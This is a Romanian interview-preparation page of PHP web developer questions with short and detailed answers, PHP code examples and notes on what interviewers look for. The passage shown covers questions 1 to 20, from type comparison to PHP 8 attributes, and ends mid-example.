...
Pregătire interviuri

100 de întrebări de interviu pentru Web Developer PHP, cu răspunsuri

Întrebările care apar des la interviurile de Web Developer PHP, fiecare cu un răspuns scurt, explicația pe larg și ce urmărește intervievatorul. Citește-le sau exersează cu răspunsurile ascunse.

Pagină coordonată de Tudor Andrei Dumitrescu, Senior Software Developer, fondatorul Academiei ProgramatorilorActualizat la

  • 100întrebări
  • 50junior
  • 36mid
  • 14senior
  • 136 minde citit
Întrebări de interviu Web Developer PHP cu răspunsuri

Un interviu pentru un post de Web Developer PHP are de obicei câteva etape: o discuție inițială cu cineva din HR sau cu un recruiter, apoi unul sau două interviuri tehnice cu dezvoltatori din echipă, iar uneori o temă de făcut acasă (de exemplu un mic CRUD, un endpoint de API sau o pagină cu formular) sau un exercițiu de programare live. Multe firme încheie cu o discuție cu team lead-ul sau managerul, în care contează la fel de mult cum comunici ca ce știi.

La nivel de junior se urmărește dacă înțelegi bine fundamentele: cum funcționează limbajul PHP, cum circulă o cerere HTTP de la browser la server și înapoi, cum scrii un query SQL corect și sigur, ce înseamnă SQL injection sau XSS și cum le previi, plus un minim de HTML, CSS, JavaScript și Git. La mid se așteaptă să stăpânești OOP și PHP 8.x modern, Composer, un framework (cel mai des Laravel sau Symfony) sau WordPress la nivel de cod, testare automată și decizii legate de performanța bazei de date. La senior întrebările se mută spre arhitectură, scalare, securitate în profunzime și modul în care conduci o echipă sau modernizezi o aplicație veche.

Folosește pagina așa: citește întâi răspunsul scurt și încearcă să formulezi singur explicația, apoi compară cu răspunsul detaliat. Rulează exemplele de cod pe calculatorul tău (de exemplu cu php -a sau un fișier rulat cu php fisier.php) și notează-ți întrebările la care te-ai blocat. Rubrica „de ce se întreabă” îți arată ce verifică de fapt intervievatorul, ca să nu răspunzi doar din definiții.

Fundamentele PHP

1 Junior

Care este diferența dintre == și === în PHP?

Răspuns scurt: == compară valorile după ce face conversie de tip (type juggling), iar === compară strict, adică valoarea și tipul trebuie să fie identice.

Operatorul == (egalitate „slabă”) încearcă să aducă cei doi operanzi la un tip comun înainte de comparație. Operatorul === (identitate) nu face nicio conversie: dacă tipurile diferă, rezultatul este direct false.

PHP
var_dump(1 == '1');      // true
var_dump(1 === '1');     // false
var_dump(null == false); // true
var_dump(0 == 'abc');    // false în PHP 8, true în PHP 7
var_dump('1e3' == '1000'); // true, ambele sunt șiruri numerice

Exemplul cu 0 == 'abc' este important: în PHP 8.0 s-a schimbat comparația dintre un număr și un șir care nu e numeric. Acum numărul este convertit în șir și se compară șiruri, deci rezultatul e false. În PHP 7 șirul era convertit în număr (0), iar rezultatul era true, sursă de bug-uri și chiar de probleme de securitate la verificări de tokenuri.

Regula practică: folosește === și !== implicit și alege == doar când vrei explicit conversia. Atenție și la funcții precum in_array() sau array_search(), care compară slab dacă nu dai al treilea parametru true. Pentru comparații de hash-uri sau tokenuri folosește hash_equals(), care e și rezistentă la atacuri de timp.

Ce urmărește intervievatorul: Verifică dacă știi ce este type juggling și dacă ești la curent cu schimbarea din PHP 8. Greșeala tipică este să spui că 0 == 'abc' e mereu true.

2 Junior

Ce tipuri de date are PHP?

Răspuns scurt: PHP are tipuri scalare (int, float, string, bool), tipuri compuse (array, object, callable, iterable), tipuri speciale (null, resource) și, începând cu PHP 8, tipuri ca mixed, never sau tipuri uniune.

PHP este un limbaj cu tipare dinamică: o variabilă nu are tip declarat, ci valoarea din ea are un tip, care se poate schimba în timpul execuției.

  • scalare: int, float, string, bool
  • compuse: array (o hartă ordonată cheie-valoare), object, callable, iterable
  • speciale: null și resource (de exemplu un handle de fișier deschis cu fopen)

În declarațiile de tip pentru parametri, valori returnate și proprietăți mai apar mixed (orice tip, PHP 8.0), void, never (funcția nu se întoarce niciodată normal, PHP 8.1), tipuri nullable (?string), uniuni (int|string, PHP 8.0) și intersecții (Countable&Iterator, PHP 8.1).

PHP
$x = 5;            // int
$x = '5';          // acum string
var_dump(gettype($x));       // string(6) "string"
var_dump(get_debug_type(1.5)); // string(5) "float"

Un detaliu care apare des: array în PHP nu e un vector clasic, ci un dicționar ordonat; poate avea chei întregi și șiruri amestecate. De asemenea, float are precizie limitată, deci 0.1 + 0.2 == 0.3 este false. Pentru bani se folosesc întregi (bani în subunități) sau extensia bcmath.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă că știi că PHP are tipare dinamică dar suportă declarații de tip. Mulți candidați uită de null sau confundă array cu o listă simplă.

3 Junior

Prin ce diferă echo, print, print_r și var_dump?

Răspuns scurt: echo și print afișează șiruri (print returnează 1), print_r afișează lizibil un array sau obiect, iar var_dump arată și tipul și lungimea fiecărei valori, util la depanare.

echo este o construcție de limbaj, nu o funcție: poate primi mai multe argumente separate prin virgulă și nu returnează nimic. print este tot o construcție de limbaj, primește un singur argument și returnează mereu 1, deci poate fi folosit într-o expresie. În practică se folosește aproape mereu echo.

print_r() afișează structura unui array sau obiect într-o formă ușor de citit, dar fără tipuri. Cu al doilea parametru true returnează șirul în loc să îl afișeze. var_dump() arată tipul și lungimea fiecărei valori, ceea ce îl face potrivit la depanare, mai ales când contează diferența dintre false, null, 0 și ''.

PHP
$a = ['x' => 1, 'y' => null, 'z' => false];
print_r($a);  // y și z apar goale, nu vezi diferența
var_dump($a); // ["y"]=> NULL, ["z"]=> bool(false)
echo 'a', 'b', "\n"; // ab

Mai există var_export(), care produce cod PHP valid ce reconstituie valoarea, și printf/sprintf pentru formatare. Pe un server de producție nu lași var_dump în cod: folosești un logger (de exemplu Monolog) sau un debugger precum Xdebug.

Ce urmărește intervievatorul: Se verifică dacă știi să depanezi corect. Greșeala tipică este să folosești print_r și să nu observi că o valoare e false, nu șir gol.

4 Junior

Care este diferența dintre include, require, include_once și require_once?

Răspuns scurt: Toate includ un fișier PHP; require oprește scriptul cu eroare fatală dacă fișierul lipsește, include doar emite un warning și continuă, iar variantele _once nu includ același fișier de două ori.

Când PHP întâlnește include 'fisier.php', citește și execută fișierul respectiv în locul acela, cu acces la variabilele din scope-ul curent. Diferența dintre cele patru variante ține de ce se întâmplă la eroare și la includeri repetate.

  • require: dacă fișierul nu există, aruncă o eroare fatală și scriptul se oprește. Potrivit pentru fișiere fără de care aplicația nu poate rula (configurare, bootstrap).
  • include: emite un warning și execuția continuă. Potrivit pentru părți opționale, de exemplu un șablon de banner.
  • require_once / include_once: țin evidența fișierelor deja incluse și nu le mai execută a doua oară. Asta previne erori de tip „Cannot redeclare function” când două fișiere includ aceeași bibliotecă.
PHP
require_once __DIR__ . '/config.php';
$cfg = include __DIR__ . '/settings.php'; // fișierul poate face return [...]

Folosește căi absolute construite cu __DIR__, altfel includerea depinde de directorul curent și de include_path. În aplicațiile moderne aproape nu mai scrii require manual pentru clase: Composer generează un autoloader, iar tu incluzi doar vendor/autoload.php. Niciodată nu construi calea unui include din input de la utilizator, pentru că deschizi ușa la Local File Inclusion.

Ce urmărește intervievatorul: Testează cunoștințele de bază despre structura unui proiect PHP. Un plus este să menționezi autoloading-ul și riscul de securitate al includerii dinamice.

5 Junior

Care e diferența dintre ghilimele simple și duble în PHP? Ce sunt heredoc și nowdoc?

Răspuns scurt: În ghilimele duble PHP interpretează variabilele și secvențele ca \n; în ghilimele simple textul rămâne literal. Heredoc se comportă ca ghilimelele duble pe mai multe linii, nowdoc ca ghilimelele simple.

Cu ghilimele simple, șirul este luat aproape literal: singurele secvențe recunoscute sunt \' și \\. Cu ghilimele duble, PHP face interpolare de variabile și recunoaște secvențe de escape precum \n, \t sau \$.

PHP
$nume = 'Ana';
echo 'Salut $nume\n';   // Salut $nume\n
echo "Salut $nume\n";   // Salut Ana + linie nouă
echo "Total: {$cos['total']} lei"; // acoladele ajută la expresii complexe

Pentru texte lungi pe mai multe linii există două sintaxe. Heredoc (<<<EOT) se comportă ca ghilimelele duble, deci interpolează variabile. Nowdoc (<<<'EOT', cu identificatorul între ghilimele simple) se comportă ca ghilimelele simple. Din PHP 7.3, marcajul de final poate fi indentat, iar indentarea lui este scoasă din tot textul.

PHP
$html = <<<HTML
    <p>Bun venit, {$user->name}!</p>
    HTML;
$sql = <<<'SQL'
    SELECT * FROM users WHERE id = :id
    SQL;

Diferența de performanță dintre simple și duble e neglijabilă în PHP modern, așa că alegerea ține de lizibilitate. Un detaliu important: interpolarea nu face escaping. Dacă pui într-un șir HTML o valoare venită de la utilizator, tot trebuie să o treci prin htmlspecialchars().

Ce urmărește intervievatorul: Se verifică dacă știi regulile de interpolare. Candidații uită adesea că în ghilimele simple \n nu devine linie nouă.

6 Junior

Cum lucrezi cu array-uri în PHP? Explică array_map, array_filter și array_reduce.

Răspuns scurt: Array-ul PHP este un dicționar ordonat cu chei întregi sau șiruri. array_map transformă fiecare element, array_filter păstrează elementele care trec un test, iar array_reduce adună toate elementele într-o singură valoare.

Un array PHP poate fi indexat numeric ([10, 20]) sau asociativ (['nume' => 'Ana']) și păstrează ordinea inserării. Pe lângă foreach, biblioteca standard are funcții care exprimă clar intenția.

PHP
$produse = [
    ['nume' => 'Mouse', 'pret' => 50, 'stoc' => 3],
    ['nume' => 'Monitor', 'pret' => 900, 'stoc' => 0],
    ['nume' => 'Tastatură', 'pret' => 150, 'stoc' => 7],
];
$inStoc = array_filter($produse, fn($p) => $p['stoc'] > 0);
$nume   = array_map(fn($p) => $p['nume'], $inStoc);
$total  = array_reduce($inStoc, fn($s, $p) => $s + $p['pret'] * $p['stoc'], 0);

Câteva capcane frecvente:

  • array_filter păstrează cheile originale, deci după filtrare indexul poate avea găuri (0, 2). Dacă ai nevoie de o listă reindexată, aplici array_values(). În exemplul de mai sus, json_encode ar produce un obiect, nu o listă.
  • array_map primește întâi callback-ul, iar array_filter întâi array-ul; ordinea diferită a parametrilor e o ciudățenie istorică.
  • Fără callback, array_filter elimină toate valorile „falsy”, inclusiv 0 și '0'.

Alte funcții utile: array_column($produse, 'pret', 'nume'), array_key_exists, in_array cu true pentru comparație strictă, usort cu operatorul <=> pentru sortare personalizată.

Ce urmărește intervievatorul: Arată dacă scrii cod PHP idiomatic, nu doar bucle. Capcana cu cheile păstrate de array_filter este un clasic la interviuri.

7 Junior

Care este diferența dintre isset(), empty() și is_null()?

Răspuns scurt: isset() verifică dacă variabila există și nu e null; empty() verifică dacă e inexistentă sau „falsy” (0, '', '0', [], null, false); is_null() verifică doar dacă valoarea e null.

Toate trei par să răspundă la aceeași întrebare, dar se comportă diferit pe valorile la limită.

  • isset($x) returnează true dacă variabila sau cheia există și valoarea nu este null. Nu generează warning dacă variabila nu există, de aceea se folosește pe $_POST['camp'].
  • empty($x) este echivalent cu !isset($x) || $x == false. Consideră goale '', '0', 0, 0.0, [], null și false.
  • is_null($x) este o funcție obișnuită: dacă variabila nu există, primești warning „Undefined variable”.
PHP
$data = ['cant' => '0', 'nota' => null];
var_dump(isset($data['cant']));  // true
var_dump(empty($data['cant']));  // true, '0' e considerat gol
var_dump(isset($data['nota']));  // false, deși cheia există
var_dump(array_key_exists('nota', $data)); // true

Capcana tipică: validezi un formular cu empty($_POST['cantitate']) și utilizatorul care introduce cantitatea 0 primește eroarea „câmp obligatoriu”. Altă capcană: isset nu face diferența între cheie lipsă și cheie cu valoarea null; pentru asta folosești array_key_exists. În PHP modern, operatorul ?? (null coalescing) înlocuiește elegant tiparul isset($a) ? $a : 'implicit'.

Ce urmărește intervievatorul: Se testează atenția la valori la limită. Cei mai mulți candidați nu știu că empty('0') este true.

8 Junior

Cum funcționează scope-ul variabilelor în PHP? Ce face cuvântul static într-o funcție?

Răspuns scurt: Funcțiile PHP au scope propriu și nu văd variabilele globale decât prin global sau $GLOBALS. O variabilă static într-o funcție își păstrează valoarea între apeluri.

Spre deosebire de JavaScript, în PHP o funcție nu „vede” automat variabilele din exterior. Fiecare funcție are scope local, iar variabilele definite în afara funcțiilor sunt în scope-ul global.

PHP
$taxa = 19;
function pretFinal($pret) {
    return $pret * (1 + $taxa / 100); // Warning: Undefined variable $taxa
}

Poți accesa variabila globală cu global $taxa; sau cu $GLOBALS['taxa'], dar asta creează dependențe ascunse și face codul greu de testat. Soluția corectă este să transmiți valoarea ca parametru sau să o injectezi într-o clasă.

O variabilă declarată static într-o funcție este inițializată o singură dată și își păstrează valoarea între apeluri, pe durata cererii curente:

PHP
function contor(): int {
    static $n = 0;
    return ++$n;
}
contor(); contor();
echo contor(); // 3

Se folosește uneori pentru memoizare simplă (de exemplu o conexiune sau un rezultat calculat o dată). Reține însă că PHP clasic rulează în model „share-nothing”: la următoarea cerere HTTP totul pornește de la zero, deci static nu este un cache între utilizatori. Funcțiile anonime au propriile reguli: preiau variabile cu use, iar arrow functions (fn) le preiau automat prin valoare.

Ce urmărește intervievatorul: Verifică dacă înțelegi izolarea funcțiilor. Candidații veniți din JavaScript presupun des că funcțiile văd variabilele exterioare.

9 Junior

Ce afișează codul următor? $a = null; $b = 0; echo $a ?? 'x', $b ?? 'y', $b ?: 'z';

Răspuns scurt: Afișează x0z. Operatorul ?? verifică doar null, deci $b ?? 'y' dă 0, iar ?: (Elvis) verifică „falsy”, deci $b ?: 'z' dă z.

Întrebarea verifică diferența dintre doi operatori care par asemănători.

  • ?? (null coalescing, din PHP 7.0) returnează operandul din stânga dacă acesta există și nu este null; altfel returnează operandul din dreapta. Nu generează warning dacă variabila sau cheia nu există.
  • ?: (operatorul ternar scurt, numit uneori Elvis) returnează operandul din stânga dacă acesta este „truthy”; altfel pe cel din dreapta. Valori ca 0, '', '0' și [] sunt „falsy”.

Pas cu pas:

  • $a ?? 'x': $a este null, deci rezultatul e 'x'.
  • $b ?? 'y': $b este 0, care nu e null, deci rezultatul e 0.
  • $b ?: 'z': 0 e „falsy”, deci rezultatul e 'z'.

echo cu mai multe argumente le afișează unul după altul, fără separator, deci output-ul este x0z.

PHP
$pagina = $_GET['pagina'] ?? 1;     // corect: 0 rămâne 0 dacă e trimis
$titlu  = trim($input) ?: 'Fără titlu'; // corect: șirul gol devine implicit
$cfg['timeout'] ??= 30;              // atribuire doar dacă lipsește (PHP 7.4)

Alegerea greșită dintre ele produce bug-uri subtile: dacă folosești ?: pentru o cantitate, valoarea legitimă 0 este înlocuită cu valoarea implicită.

Ce urmărește intervievatorul: Este un exercițiu de citit cod. Intervievatorul urmărește dacă știi exact ce înseamnă „falsy” și diferența față de null.

10 Junior

Scrie o funcție PHP care verifică dacă un șir este palindrom, ignorând spațiile, punctuația și literele mari.

Răspuns scurt: Normalizezi șirul (litere mici, doar litere și cifre, cu funcții mb_ pentru Unicode), apoi compari cu inversul lui sau parcurgi cu doi indici de la capete spre mijloc.

Soluția are doi pași: normalizare și comparare. Pentru text în română trebuie să ții cont de diacritice, care în UTF-8 ocupă mai mulți octeți, deci funcțiile simple strtolower și strrev nu sunt suficiente.

PHP
function estePalindrom(string $text): bool
{
    $curat = mb_strtolower($text, 'UTF-8');
    $curat = preg_replace('/[^\p{L}\p{N}]+/u', '', $curat);
    $litere = mb_str_split($curat);
    $i = 0;
    $j = count($litere) - 1;
    while ($i < $j) {
        if ($litere[$i] !== $litere[$j]) {
            return false;
        }
        $i++;
        $j--;
    }
    return true;
}

var_dump(estePalindrom('Ele fac cafele')); // true
var_dump(estePalindrom('Ana are mere'));   // false

Puncte de discutat cu intervievatorul:

  • preg_replace cu modificatorul u și clasele \p{L} (litere) și \p{N} (cifre) păstrează și literele cu diacritice.
  • strrev inversează octeți, nu caractere, așa că ar strica un șir care conține „ă”. mb_str_split există din PHP 7.4.
  • Varianta cu doi indici folosește memorie suplimentară mică și se oprește la prima nepotrivire; varianta $curat === implode(array_reverse($litere)) e mai scurtă și perfect acceptabilă.

Complexitatea este O(n) în timp. Menționează și cazurile limită: șir gol sau un singur caracter, care sunt palindroame.

Ce urmărește intervievatorul: Un exercițiu live clasic. Se urmărește dacă te gândești la UTF-8 și la cazuri limită, nu doar dacă știi strrev.

11 Mid

Cum se transmit parametrii în PHP: prin valoare sau prin referință? Ce afișează un foreach prin referință urmat de unul normal?

Răspuns scurt: Implicit prin valoare (obiectele se transmit ca handle), iar cu & prin referință. După un foreach cu &$v, variabila rămâne legată de ultimul element, iar un al doilea foreach cu $v îl suprascrie.

Parametrii unei funcții sunt copiați implicit (PHP folosește copy-on-write, deci copia reală se face doar la modificare). Cu & în semnătură, funcția lucrează direct pe variabila apelantului. Obiectele sunt un caz aparte: variabila conține un identificator al obiectului, așa că funcția poate modifica proprietățile obiectului original, dar nu poate înlocui obiectul apelantului.

Capcana clasică:

PHP
$a = [1, 2, 3];
foreach ($a as &$v) {}
foreach ($a as $v) {}
print_r($a); // [1, 2, 2]

După primul foreach, $v rămâne o referință la $a[2]. În al doilea foreach, fiecare atribuire la $v scrie de fapt în $a[2]: devine 1, apoi 2, iar la ultimul pas își atribuie propria valoare, 2. De aceea rezultatul este [1, 2, 2].

Soluția: după un foreach prin referință apelezi unset($v);, sau eviți complet referințele și construiești un array nou cu array_map sau cu $a[$k] = ... în buclă.

PHP
function adauga(array &$lista, int $x): void { $lista[] = $x; }

În general, referințele fac codul greu de urmărit. Returnează o valoare nouă în loc să modifici parametrul, iar referințele păstrează-le pentru cazurile în care chiar ai nevoie de ele.

Ce urmărește intervievatorul: Verifică înțelegerea modelului de memorie al PHP. Mulți candidați nu pot explica de ce apare [1, 2, 2].

12 Mid

Ce sunt closure-urile în PHP și prin ce diferă arrow functions (fn) de funcțiile anonime clasice?

Răspuns scurt: Un closure este o funcție anonimă care poate captura variabile din contextul în care a fost creată. Funcțiile function() use ($x) capturează explicit, iar fn (PHP 7.4) capturează automat prin valoare și conține o singură expresie.

În PHP o funcție anonimă este un obiect de tip Closure. Ea nu vede automat variabilele exterioare; trebuie să le declari în use.

PHP
$prag = 100;
$scumpe = array_filter($produse, function ($p) use ($prag) {
    return $p['pret'] > $prag;
});
$scumpe2 = array_filter($produse, fn($p) => $p['pret'] > $prag);

Diferențe importante:

  • use ($x) copiază valoarea în momentul creării closure-ului. Dacă $x se schimbă ulterior, closure-ul păstrează valoarea veche. Cu use (&$x) capturezi prin referință și poți modifica variabila exterioară.
  • fn capturează automat orice variabilă folosită, mereu prin valoare, deci nu poate modifica variabile exterioare. Corpul este o singură expresie, care se returnează implicit.
  • Ambele leagă automat $this dacă sunt create într-o metodă de clasă. Cu static function sau static fn eviți legarea lui $this, util ca să nu păstrezi obiecte în memorie inutil.
PHP
$contor = 0;
$inc = function () use (&$contor) { $contor++; };
$inc(); $inc();
echo $contor; // 2

Closure-urile apar peste tot în PHP modern: callback-uri pentru funcțiile de array, rute în Laravel, middleware, evenimente. Metode ca Closure::bind și Closure::fromCallable permit schimbarea contextului, iar din PHP 8.1 sintaxa strlen(...) creează direct un closure dintr-o funcție existentă.

Ce urmărește intervievatorul: Se verifică dacă știi cum se capturează variabilele. Greșeala tipică este să te aștepți ca fn să poată incrementa o variabilă exterioară.

13 Mid

Cum funcționează tratarea erorilor în PHP 8? Ce diferență este între Exception și Error?

Răspuns scurt: Ambele implementează interfața Throwable. Exception e pentru situații pe care aplicația le poate trata (input invalid, fișier lipsă), iar Error pentru erori interne ale motorului, precum TypeError sau apel de metodă inexistentă.

Din PHP 7, multe erori fatale au devenit obiecte aruncate, care pot fi prinse. Ierarhia arată așa: Throwable este interfața de bază, implementată de Exception (cu subclase ca InvalidArgumentException, RuntimeException, PDOException) și de Error (cu TypeError, ValueError, ArithmeticError, DivisionByZeroError).

PHP
function imparte(int $a, int $b): float {
    if ($b === 0) {
        throw new InvalidArgumentException('Împărțitorul nu poate fi 0');
    }
    return $a / $b;
}

try {
    echo imparte(10, 0);
} catch (InvalidArgumentException $e) {
    error_log($e->getMessage());
} catch (Throwable $e) {
    // orice altceva, inclusiv TypeError
} finally {
    // rulează mereu, de exemplu închizi un fișier
}

Reguli bune de urmat:

  • Prinde excepțiile acolo unde chiar poți face ceva cu ele. Un catch gol ascunde problema.
  • Creează excepții proprii pentru domeniul aplicației (StocInsuficientException extends DomainException), ca să le poți trata separat.
  • Pentru a păstra cauza inițială, transmite-o ca al treilea argument: new RuntimeException('Plata a eșuat', 0, $e).
  • În producție setezi display_errors=0 și log_errors=1, iar un handler global (set_exception_handler) afișează o pagină generică și loghează detaliile.

Warning-urile și notice-urile clasice nu sunt excepții; framework-urile le transformă de obicei în excepții cu set_error_handler.

Ce urmărește intervievatorul: Verifică dacă știi ierarhia Throwable din PHP modern. Candidații juniori prind adesea doar Exception și ratează TypeError.

14 Mid

Ce sunt generatoarele în PHP și când le-ai folosi?

Răspuns scurt: Un generator este o funcție care conține yield și produce valori una câte una, la cerere, fără să construiască tot rezultatul în memorie. E util pentru fișiere mari, rezultate de query numeroase sau secvențe infinite.

O funcție care conține yield nu mai returnează direct o valoare, ci un obiect Generator, care implementează Iterator. Codul funcției rulează până la primul yield, se oprește, predă valoarea și reia de acolo la următoarea iterație.

PHP
function citesteLinii(string $cale): Generator
{
    $f = fopen($cale, 'r');
    try {
        while (($linie = fgets($f)) !== false) {
            yield rtrim($linie, "\n");
        }
    } finally {
        fclose($f);
    }
}

foreach (citesteLinii('export.csv') as $nr => $linie) {
    // procesezi linia; în memorie e doar o linie odată
}

Dacă ai citi un CSV de câțiva gigaocteți cu file(), tot conținutul ar intra în memorie și ai depăși memory_limit. Cu generatorul, consumul de memorie rămâne aproape constant.

Alte detalii utile:

  • yield $cheie => $valoare produce perechi cheie-valoare.
  • yield from altGenerator() deleagă către alt generator sau array.
  • Un generator poate fi parcurs o singură dată; nu îl poți „derula înapoi” după ce a pornit.
  • Metoda send() permite trimiterea de valori în generator, deși se folosește rar în aplicații web.

În framework-uri, același principiu stă la baza metodelor de tip lazy() sau cursor() din Laravel, care parcurg rânduri din baza de date fără să le încarce pe toate.

Ce urmărește intervievatorul: Testează dacă te gândești la memorie când procesezi date mari. Un răspuns bun dă un exemplu concret, ca un import CSV.

PHP 8.x modern

15 Junior

Ce noutăți importante a adus PHP 8.0 față de PHP 7?

Răspuns scurt: PHP 8.0 a adus named arguments, expresia match, operatorul nullsafe ?->, tipuri uniune, constructor property promotion, atribute, compilatorul JIT și comparații mai sănătoase între numere și șiruri.

PHP 8.0, lansat în noiembrie 2020, a fost o versiune majoră care a modernizat mult limbajul. Cele mai folosite schimbări:

  • named arguments: str_pad(string: $s, length: 10, pad_type: STR_PAD_LEFT), poți sări parametri opționali
  • expresia match, o alternativă strictă la switch
  • operatorul nullsafe: $user?->getAdresa()?->oras returnează null dacă un element din lanț e null
  • tipuri uniune (int|float) și tipul mixed
  • constructor property promotion, care scurtează mult clasele simple
  • atribute (#[Route('/api')]) în locul adnotărilor din comentarii
  • JIT (Just-In-Time compiler), opțional, construit peste OPcache
  • funcții noi pentru șiruri: str_contains, str_starts_with, str_ends_with
  • throw poate fi folosit ca expresie: $x = $y ?? throw new Exception();
PHP
$mesaj = match (true) {
    $varsta < 18 => 'minor',
    default => 'adult',
};
$oras = $comanda?->client?->adresa?->oras ?? 'necunoscut';

Au existat și schimbări care pot strica cod vechi: comparația 0 == 'abc' dă acum false, multe warning-uri au devenit excepții (TypeError, ValueError) când apelezi funcții interne cu argumente greșite, iar unele funcții eliminate au dispărut definitiv. De aceea o migrare de la 7.4 la 8.x cere teste și un instrument de analiză statică. Versiunile 8.1 până la 8.4 au adăugat apoi enums, readonly, fibers, property hooks și altele.

Ce urmărește intervievatorul: Arată dacă ții pasul cu limbajul. Un candidat care știe doar PHP 5 sau 7 riscă să scrie cod învechit.

16 Junior

Prin ce diferă expresia match de switch?

Răspuns scurt: match compară strict (===), returnează o valoare, nu are fall-through și aruncă UnhandledMatchError dacă nicio ramură nu se potrivește. switch compară slab (==) și cere break la fiecare caz.

switch este o instrucțiune: execută blocuri de cod și continuă în cazul următor dacă uiți break (fall-through). Compară cu ==, deci poate potrivi valori de tipuri diferite. match, introdus în PHP 8.0, este o expresie: produce o valoare pe care o poți atribui sau returna.

PHP
$cod = '200';

switch ($cod) {
    case 200:
        $text = 'OK'; // se potrivește, '200' == 200
        break;
    default:
        $text = 'Altceva';
}

$text = match ($cod) {
    200 => 'OK',
    404, 410 => 'Nu există',
    default => 'Altceva', // '200' !== 200, deci ajunge aici
};

Diferențele, pe scurt:

  • comparație strictă (===) în match, slabă în switch
  • fiecare ramură din match are o singură expresie, fără fall-through
  • mai multe valori pe aceeași ramură se separă cu virgulă
  • fără default și fără potrivire, match aruncă UnhandledMatchError, ceea ce te ajută să prinzi cazuri uitate

Un tipar util este match (true), care evaluează condiții în ordine, ca o serie de if-uri. Când ai nevoie de mai multe instrucțiuni pe o ramură, rămâi la switch sau la if/elseif, ori apelezi o metodă din ramura match. Combinat cu enums din PHP 8.1, match devine foarte expresiv.

Ce urmărește intervievatorul: Verifică dacă folosești sintaxa modernă și înțelegi diferența de comparație. Mulți nu știu că match aruncă excepție fără default.

17 Junior

Ce face declare(strict_types=1) și de ce îl pui la începutul fișierelor?

Răspuns scurt: Activează modul strict pentru declarațiile de tip scalar în apelurile făcute din acel fișier: PHP nu mai convertește automat '5' în 5, ci aruncă TypeError. Prinzi astfel bug-urile mai devreme.

Implicit, PHP rulează în mod „coercitiv”: dacă o funcție cere int și primește șirul '5', îl convertește tacit în 5. Uneori asta ascunde erori, de exemplu când primești '5 bucăți' sau un float trunchiat.

PHP
<?php
declare(strict_types=1);

function total(int $cantitate, float $pret): float
{
    return $cantitate * $pret;
}

echo total(3, 9.99);   // 29.97
echo total('3', 9.99); // TypeError în mod strict

Detalii care se întreabă des:

  • declarația trebuie să fie prima instrucțiune din fișier
  • se aplică apelurilor făcute din fișierul care o conține, nu fișierului în care e definită funcția
  • singura conversie permisă în mod strict este de la int la float
  • afectează tipurile scalare (int, float, string, bool), inclusiv valorile returnate de funcțiile din fișier

În practică, datele de la utilizator vin mereu ca șiruri ($_GET, $_POST), așa că în mod strict trebuie să le validezi și să le convertești explicit la granița aplicației, de exemplu cu filter_var($x, FILTER_VALIDATE_INT). Asta e un lucru bun: conversia se face într-un singur loc, controlat. Instrumente ca PHPStan sau Psalm, plus regulile PSR-12 din proiecte moderne, presupun de obicei strict_types activ în toate fișierele.

Ce urmărește intervievatorul: Se verifică dacă scrii cod tipizat și știi exact domeniul de aplicare al declarației. O confuzie frecventă este că s-ar aplica global.

18 Mid

Ce sunt enums în PHP 8.1 și când sunt mai bune decât constantele?

Răspuns scurt: Enums sunt tipuri cu un set fix de valori posibile. Spre deosebire de constante, un enum poate fi folosit ca tip de parametru, deci PHP garantează că primești doar o valoare validă.

Înainte de PHP 8.1, stările se modelau cu constante: const STATUS_PLATITA = 'platita';. Problema este că o funcție care primește string $status acceptă orice șir, inclusiv greșeli de scriere. Un enum rezolvă asta la nivel de tip.

PHP
enum StatusComanda: string
{
    case Noua = 'noua';
    case Platita = 'platita';
    case Livrata = 'livrata';

    public function eticheta(): string
    {
        return match ($this) {
            self::Noua => 'Nouă',
            self::Platita => 'Plătită',
            self::Livrata => 'Livrată',
        };
    }
}

function marcheaza(StatusComanda $s): void { /* ... */ }

$s = StatusComanda::from('platita');      // din baza de date
$t = StatusComanda::tryFrom('ceva');      // null dacă nu există
echo $s->value;                           // platita
echo StatusComanda::Platita->eticheta();  // Plătită

Puncte importante:

  • există pure enums (fără valoare) și backed enums (cu valoare string sau int), cele din urmă fiind cele potrivite pentru salvare în baza de date sau JSON
  • cases() returnează toate valorile, util pentru un <select>
  • enum-urile pot avea metode, constante și pot implementa interfețe, dar nu au stare
  • cazurile sunt singleton-uri, deci se compară cu ===

Laravel permite cast-ul direct al unei coloane la un enum, iar match peste un enum, scris fără default, te avertizează la runtime dacă ai uitat un caz nou.

Ce urmărește intervievatorul: Arată că știi să modelezi domeniul cu tipuri sigure. Candidații confundă des from cu tryFrom.

19 Mid

Ce sunt constructor property promotion și proprietățile readonly?

Răspuns scurt: Constructor property promotion (PHP 8.0) declară și inițializează proprietăți direct din parametrii constructorului. readonly (PHP 8.1) face o proprietate inițializabilă o singură dată, apoi imposibil de modificat.

Înainte de PHP 8.0, o clasă simplă cerea să scrii fiecare proprietate de trei ori: declarația, parametrul constructorului și atribuirea. Cu promovarea, pui modificatorul de vizibilitate direct pe parametru.

PHP
final class Bani
{
    public function __construct(
        public readonly int $subunitati,
        public readonly string $moneda = 'RON',
    ) {
        if ($subunitati < 0) {
            throw new InvalidArgumentException('Suma nu poate fi negativă');
        }
    }

    public function plus(Bani $alt): self
    {
        return new self($this->subunitati + $alt->subunitati, $this->moneda);
    }
}

$b = new Bani(1500);
$b->subunitati = 10; // Error: Cannot modify readonly property

Despre readonly:

  • proprietatea trebuie să aibă tip declarat
  • poate fi inițializată o singură dată, doar din interiorul clasei (de obicei în constructor)
  • din PHP 8.2 poți marca întreaga clasă readonly, iar toate proprietățile devin readonly
  • protejează doar referința: dacă proprietatea conține un obiect, obiectul intern poate fi tot modificat

Combinația este ideală pentru DTO-uri (obiecte care doar transportă date) și value objects. Pentru „modificare”, metoda returnează o instanță nouă, ca plus() de mai sus. Clonarea unui obiect readonly cu proprietăți schimbate era greu de făcut înainte de PHP 8.3, care permite reinițializarea proprietăților readonly în __clone.

Ce urmărește intervievatorul: Verifică dacă scrii clase moderne, concise și imutabile. O greșeală tipică este să crezi că readonly face imutabil și obiectul conținut.

20 Mid

Ce sunt atributele (attributes) în PHP 8 și cum le folosesc framework-urile?

Răspuns scurt: Atributele sunt metadate structurate atașate claselor, metodelor, proprietăților sau parametrilor, cu sintaxa #[Nume(args)]. Codul le citește prin Reflection, de exemplu pentru rute, validare sau mapare ORM.

Înainte de PHP 8.0, framework-uri ca Symfony sau Doctrine foloseau adnotări în comentarii DocBlock (@Route("/produse")), pe care le parsau ca text. Atributele sunt suportate nativ de limbaj, sunt verificate sintactic și pot fi citite prin API-ul de Reflection.

PHP
#[Attribute(Attribute::TARGET_METHOD)]
final class Ruta
{
